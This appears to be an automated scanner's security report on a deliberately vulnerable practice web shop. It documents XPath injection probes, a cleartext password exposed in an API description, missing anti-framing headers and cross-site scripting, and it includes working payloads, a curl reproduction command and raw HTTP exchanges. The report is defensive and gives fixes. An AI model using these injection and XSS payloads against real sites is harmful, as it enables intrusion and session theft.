class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

poc|literal_and|node_set|other HTTP 200 https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace%27%20and%20count%28/%2A%29%3C0…

request

GET /directory.php?q=Ada%20Lovelace%27%20and%20count%28/%2A%29%3C0%20and%20%278lih9e%27%3D%278lih9e HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1580
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — staff directory</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

poc|literal_and|string_fn|same HTTP 200 https://sekumart.sekuripy.hr/directory.php?q=Ada%20Lovelace%27%20and%20string-length%28…

request

GET /directory.php?q=Ada%20Lovelace%27%20and%20string-length%28%278lih9e%27%29%3D6%20and%20%278lih9e%27%3D%278lih9e HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1630
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — staff directory</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

Detection details — how this was found and rated

checks: injection/xpath
rating basis: P1 - XPath injection: the query engine parses attacker input
class: xpath injection

All supporting observations

XPath injection confirmed on q injection/xpath · critical
3 construct(s) that only an XPath/XQuery engine parses (boolean_fn, string_length, node_context) each follow their own truth value, while a control built from the same characters around a nonexistent function produces no split at all. Function-call syntax on a bare boolean is not valid SQL, so the value is being compiled into an XPath expression rather than merely reaching a parser.

resolution settled by grammar-only constructs plus a control boundary literal_and orientation same control bogus_fn control fired no permissive parser no
Demonstrated on q: addresses the document tree, not just a boolean; runs string functions over a value we chose injection/xpath · critical
Beyond confirming the class: addresses the document tree, not just a boolean; runs string functions over a value we chose. Each of these was demonstrated against something already known - a predicate about the value we ourselves supplied, or a fact true of any document of this kind - so the demonstration has **no information gain** and read nothing out of the application. Reading a value we did not already have is extraction and stays behind an explicit flag.

boundary literal_and non destructive capability shown with zero information gain
XPath error from q (lxml / libxml2) injection/xpath · critical
A single quote character produced a lxml / libxml2 error that the original response does not carry, so the value is compiled into an XPath expression.

probe a single quote product lxml / libxml2 pattern XPath error response excerpt n>look up</button></form><p class='err'>XPath error: malformed XPath: /staff/user[name='Ada Lovelace'']</p><p>no staff matched that name.</… status 200
q evaluates a supplied condition (literal_and boundary) injection/xpath · high
Closing the value as a literal_and context and supplying a condition built from a random constant: the true form returns the original page and the false form does not. That establishes an expression is evaluated here, but not yet which language - the same result would follow from SQL, an LDAP filter, SPARQL or OData.

boundary literal_and why exact text match on TRUE, difference on FALSE matched attribute text

high Credential material returned to the client 1 affected location · /openapi.json

Fix, once, everywhereRemove the field from the response - no client needs it. Store passwords with argon2id, scrypt or bcrypt at cost 10 or above, never MD5, SHA-1 or SHA-256, and migrate existing rows by re-hashing on next successful login.

GET/openapi.json Credential material returned to the client on /openapi.json confirmed · confirmed confidence BL-014 high

Evidence. The response carries paths./login.php.post.requestBody.content.application/x-www-form-urlencoded.schema.example.password, and its value is the password itself, in clear. Two separate failures sit on top of each other: the application can print the password, so it is not hashed at rest, and it chooses to. Anyone who reaches this response - through an access-control mistake, a log, a cache, a support screenshot - reads the credential itself, and people reuse passwords.

How to fix. Remove the field from the response - no client needs it. Store passwords with argon2id, scrypt or bcrypt at cost 10 or above, never MD5, SHA-1 or SHA-256, and migrate existing rows by re-hashing on next successful login.

What we verified A response observed during this assessment carried a field whose name says it holds a credential, and whose value shows how that credential is stored - the password itself in clear, or a digest whose scheme is readable from its own shape.

What this can lead toStorage in clear means anyone who reaches this response - through an access-control mistake, a log, a cache, a support screenshot - reads the password, and people reuse passwords across services. A fast general-purpose hash means that whoever obtains the table later can run billions of guesses a second against it, and the application has already told them which algorithm to run. Assessment boundary: This is read from traffic the assessment already observed. No credential was guessed, no hash was cracked, and no claim is made about accounts other than the one in the response.

How to fixRemove the field from the response - no client needs it. Store passwords with argon2id, scrypt or bcrypt at cost 10 or above, never MD5, SHA-1 or SHA-256, and migrate existing rows by re-hashing on next successful login.

location: GET https://sekumart.sekuripy.hr/openapi.json
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-256 · WASC-13
standards: OWASP Top 10 2025A02:2025 OWASP ASVS 5.0.0V2 ISO/IEC 27001 2022A.8.24 NIST CSF 2.0PR.AA-05 PCI DSS 4.0.18.3.1

Decisive evidence

Response returns a stored password in clear confirmed

The response carries paths./login.php.post.requestBody.content.application/x-www-form-urlencoded.schema.example.password, and its value is the password itself, in clear. Two separate failures sit on top of each other: the application can print the password, so it is not hashed at rest, and it chooses to. Anyone who reaches this response - through an access-control mistake, a log, a cache, a support screenshot - reads the credential itself, and people reuse passwords.

field

paths./login.php.post.requestBody.content.application/x-www-form-urlencoded.schema.example.password

scheme

cleartext

length

value

password

Reproduce

request GET https://sekumart.sekuripy.hr/openapi.json bytes

Detection details — how this was found and rated

checks: auth/credential_exposure
rating basis: P2 - the application printed a stored password in clear
class: credential storage auth

medium Page can be framed by any origin 18 affected locations · /, /account.php, /admin.php, /cart.php, /catalog.php, /category.php, /…

What this can lead toAn attacker loads the page in a transparent frame over their own, positions their bait under its button, and the victim's click lands on YOUR control while they are logged in. Whatever that control does - a transfer, a permission grant, a deletion - is what the click does.

Fix, once, everywhereSet Content-Security-Policy: frame-ancestors 'none' (or an explicit allow-list) on every HTML response, and keep X-Frame-Options: DENY beside it for older clients. Note that ALLOWALL, ALLOW-FROM and any other value are not weaker policies - browsers drop them, leaving no policy at all.

GEThttps://sekumart.sekuripy.hr/ Page can be framed by any origin confirmed · high confidence BL-015 medium

Evidence. An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

How to fix. Set Content-Security-Policy: frame-ancestors 'none' (or an explicit allow-list) on every HTML response, and keep X-Frame-Options: DENY beside it for older clients. Note that ALLOWALL, ALLOW-FROM and any other value are not weaker policies - browsers drop them, leaving no policy at all.

What we verified The document is served with no framing restriction a browser honours - either no X-Frame-Options and no CSP frame-ancestors, or a value browsers cannot parse and therefore drop - and it carries a control a visitor can click.

Assessment boundary: This is read from the response headers and the page's own markup. No frame was actually built and no click was simulated, so the CONSEQUENCE of the click is inferred from what the control appears to do, not demonstrated.

How to fixSet Content-Security-Policy: frame-ancestors 'none' (or an explicit allow-list) on every HTML response, and keep X-Frame-Options: DENY beside it for older clients. Note that ALLOWALL, ALLOW-FROM and any other value are not weaker policies - browsers drop them, leaving no policy at all.

affected: 18 routes https://sekumart.sekuripy.hr/, https://sekumart.sekuripy.hr/account.php, https://sekumart.sekuripy.hr/admin.php, https://sekumart.sekuripy.hr/cart.php, https://sekumart.sekuripy.hr/catalog.php, https://sekumart.sekuripy.hr/category.php, https://sekumart.sekuripy.hr/challenges.php, https://sekumart.sekuripy.hr/directory.php, and 10 more
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-1021
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 ISO/IEC 27001 2022A.8.26 NIST CSF 2.0PR.PS-01 PCI DSS 4.0.16.2.4

Decisive evidence

Page with an interactive control can be framed by any origin confirmed

An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url

https://sekumart.sekuripy.hr/

why

no X-Frame-Options header and no CSP frame-ancestors directive

Additional corroboration — 17

Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

Reproduce

request GET https://sekumart.sekuripy.hr/ bytes
request GET https://sekumart.sekuripy.hr/account.php bytes
request GET https://sekumart.sekuripy.hr/admin.php bytes
request GET https://sekumart.sekuripy.hr/search.php?q= bytes
request GET https://sekumart.sekuripy.hr/viewsource.php?p=search bytes
request GET https://sekumart.sekuripy.hr/challenges.php bytes

Detection details — how this was found and rated

checks: config/headers
rating basis: P3 - a page carrying a control can be framed by any origin
class: clickjacking config

All supporting observations

Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/ why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/account.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/admin.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/search.php?q= why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/viewsource.php?p=search why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/challenges.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/cart.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/login.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/catalog.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/product.php?id=1 why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/reviews.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/category.php?cat=1 why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/track.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/directory.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/members.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/hackme.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/tutorial.php why no X-Frame-Options header and no CSP frame-ancestors directive
Page with an interactive control can be framed by any origin config/headers · medium
An attacker can load this page in a transparent frame over their own and have the victim click its controls. no X-Frame-Options header and no CSP frame-ancestors directive

url https://sekumart.sekuripy.hr/help.php why no X-Frame-Options header and no CSP frame-ancestors directive

medium Cross-site scripting 6 affected locations · /, /api.php, /help.php, /product.php, /reviews.php, /search.php

What this can lead toScript running in the application's origin can act as the signed-in user: read the page, call the API with their session, and modify what they see.

Fix, once, everywhereEncode on output for the context the value lands in (HTML text, attribute, JavaScript string, URL) rather than filtering on input, and add a Content-Security-Policy that forbids inline script as a second line of defence.

GET/product.php query string · author confirmed · high confidence BL-016 medium

Evidence. A payload placed in author was executed by the browser: loading the URL below raised a dialog containing our one-time token sksm8bhp7. Nothing about this is inferred - the code ran.

Why this proves it. The browser executed it and raised a dialog carrying our one-time token.

How to fix. Encode on output for the context the value lands in (HTML text, attribute, JavaScript string, URL) rather than filtering on input, and add a Content-Security-Policy that forbids inline script as a second line of defence.

What we verified The browser executed a payload placed in this parameter: the page's own alert() call was captured with our one-time token in it.

Assessment boundary: No session was stolen, no request was made on a user's behalf, and no payload was left behind beyond the marker strings listed in the scope statement.

How to fixEncode on output for the context the value lands in (HTML text, attribute, JavaScript string, URL) rather than filtering on input, and add a Content-Security-Policy that forbids inline script as a second line of defence.

location: GET https://sekumart.sekuripy.hr/product.php?id=1
input: author in the query string
authentication: none - reachable anonymously
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-INPV-01, WSTG-INPV-02 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

The browser executed our payload confirmed

payload "><svg onload=alert(/sksm8bhp7/)>

lands in element text, where a new tag can be opened

execution CONFIRMED the page's own alert() call, captured instead of shown, carrying [sekuscan:alert] /sksm8bhp7/

Why this proves it. The browser executed it and raised a dialog carrying our one-time token.

Reproduce

fill_submit https://sekumart.sekuripy.hr/product.php?id=1 bytes — a dialog reading sksm8bhp7 appears

execute

curl -i -X POST 'https://sekumart.sekuripy.hr/reviews.php' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'content-type: application/x-www-form-urlencoded' \
  -H 'origin: https://sekumart.sekuripy.hr' \
  -H 'referer: https://sekumart.sekuripy.hr/product.php?id=1' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)' \
  --data-raw 'product_id=1&author=%22%3E%3Csvg+onload%3Dalert%28%2Fsksm8bhp7%2F%29%3E&body='

POST /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded
origin: https://sekumart.sekuripy.hr
referer: https://sekumart.sekuripy.hr/product.php?id=1
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

product_id=1&author=%22%3E%3Csvg+onload%3Dalert%28%2Fsksm8bhp7%2F%29%3E&body=

Raw exchanges — 2 recorded request/response pairs

execute HTTP 302 https://sekumart.sekuripy.hr/reviews.php

request

POST /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded
origin: https://sekumart.sekuripy.hr
referer: https://sekumart.sekuripy.hr/product.php?id=1
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

product_id=1&author=%22%3E%3Csvg+onload%3Dalert%28%2Fsksm8bhp7%2F%29%3E&body=

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:26 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: /reviews.php
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

execute_quiet HTTP 302 https://sekumart.sekuripy.hr/reviews.php

request

POST /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded
origin: https://sekumart.sekuripy.hr
referer: https://sekumart.sekuripy.hr/product.php?id=1
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

product_id=1&author=%22%3E%3Csvg+onload%3Ddocument.title%3D%2Fsksm8bhp7%2F.source%3E&body=

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:27 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: /reviews.php
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

Detection details — how this was found and rated

checks: injection/xss
rating basis: P3 - reflected XSS, proven by the browser executing the payload
class: xss injection

POST/reviews.php form body · author confirmed · high confidence BL-017 medium

Evidence. The value of author comes back inside element text, where a new tag can be opened. The characters that position needs in order to execute arrived unfiltered, so a payload placed here runs.

Why this proves it. The value is parsed as markup in that position, with the characters the position needs left unencoded.

e</i><p></p></div><div class='review'><b>emszl";<>:/'`oduyt</b> on <i>Quantum USB Cable</i><p></p></div><div class='review'><b>sksemszl><oduyt</b> on <i>Quantum USB Cable</i><p></p></div><div class='review'><b>sksemszl:/>'<`";oduyt</b> on <i>Quantum USB Cable</i><p></p></div><div class='review'><b></b> on <i>Rubber Duck (Debugging Grade)</i><p></p></div><div class='review'><b></b> on <i>Regex T-Shirt</i><p></p></div><div class='review'><b></b> on <i>Self-Stirring Mug</i><p></p></div><div class='review'><b><

What we verified The value is reflected into a position where the browser parses it as markup or script, with the characters that position needs left unencoded.

Assessment boundary: No session was stolen, no request was made on a user's behalf, and no payload was left behind beyond the marker strings listed in the scope statement.

location: POST https://sekumart.sekuripy.hr/reviews.php
input: author in the form body
authentication: none - reachable anonymously
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-INPV-01, WSTG-INPV-02 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

The value is parsed as markup confirmed

payload

sks'emszl:/>'<`";oduyt

lands in

element text, where a new tag can be opened

survived unencoded

" ' / : ; < > `

e</i><p></p></div><div class='review'><b>emszl";<>:/'`oduyt</b> on <i>Quantum USB Cable</i><p></p></div><div class='review'><b>sksemszl><oduyt</b> on <i>Quantum USB Cable</i><p></p></div><div class='review'><b>sksemszl:/>'<`";oduyt</b> on <i>Quantum USB Cable</i><p></p></div><div class='review'><b></b> on <i>Rubber Duck (Debugging Grade)</i><p></p></div><div class='review'><b></b> on <i>Regex T-Shirt</i><p></p></div><div class='review'><b></b> on <i>Self-Stirring Mug</i><p></p></div><div class='review'><b><

Why this proves it. The value is parsed as markup in that position, with the characters the position needs left unencoded.

Reproduce

navigate https://sekumart.sekuripy.hr/reviews.php bytes

a longer marker appended to the value

curl -i -X GET 'https://sekumart.sekuripy.hr/reviews.php' \
  -H 'content-type: application/x-www-form-urlencoded'

GET /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/x-www-form-urlencoded

Raw exchanges — 6 recorded request/response pairs

a longer marker appended to the value HTTP 200 https://sekumart.sekuripy.hr/reviews.php

request

GET /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/x-www-form-urlencoded

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1762
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — reviews</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a h

a shorter marker appended to the value HTTP 200 https://sekumart.sekuripy.hr/reviews.php

request

GET /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/x-www-form-urlencoded

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1762
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

